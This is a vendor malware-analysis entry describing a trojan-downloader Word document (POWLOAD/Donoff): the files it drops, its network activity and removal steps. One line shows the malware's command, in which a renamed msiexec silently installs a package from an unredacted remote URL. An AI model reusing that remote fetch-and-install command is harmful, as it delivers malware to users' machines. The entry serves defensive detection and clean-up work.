Analysis by: Neljorn Nathaniel Aguas
ALIASES:

TrojanDownloader:O97M/Donoff (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 78,848 bytes
File Type: DOC
Initial Samples Received Date: 16 Oct 2018
Payload: Connects to URLs/IPs, Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\VBE\MSForms.exd
  • %User Temp%\pixie.exe → copy of %System%\msiexec.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following processes:

  • "%User Temp%\pixie.exe" /norestart /q /i http://msboxoffice.com/tech

Other Details

This Trojan attempts to access the following websites to download files, which are possibly malicious:

  • http://{BLOCKED}office.com/tech

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 14.714.03
FIRST VSAPI PATTERN DATE: 27 Dec 2018
VSAPI OPR PATTERN File: 14.715.00
VSAPI OPR PATTERN Date: 28 Dec 2018

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp%\VBE\MSForms.exd
  • %User Temp%\pixie.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.THABBGAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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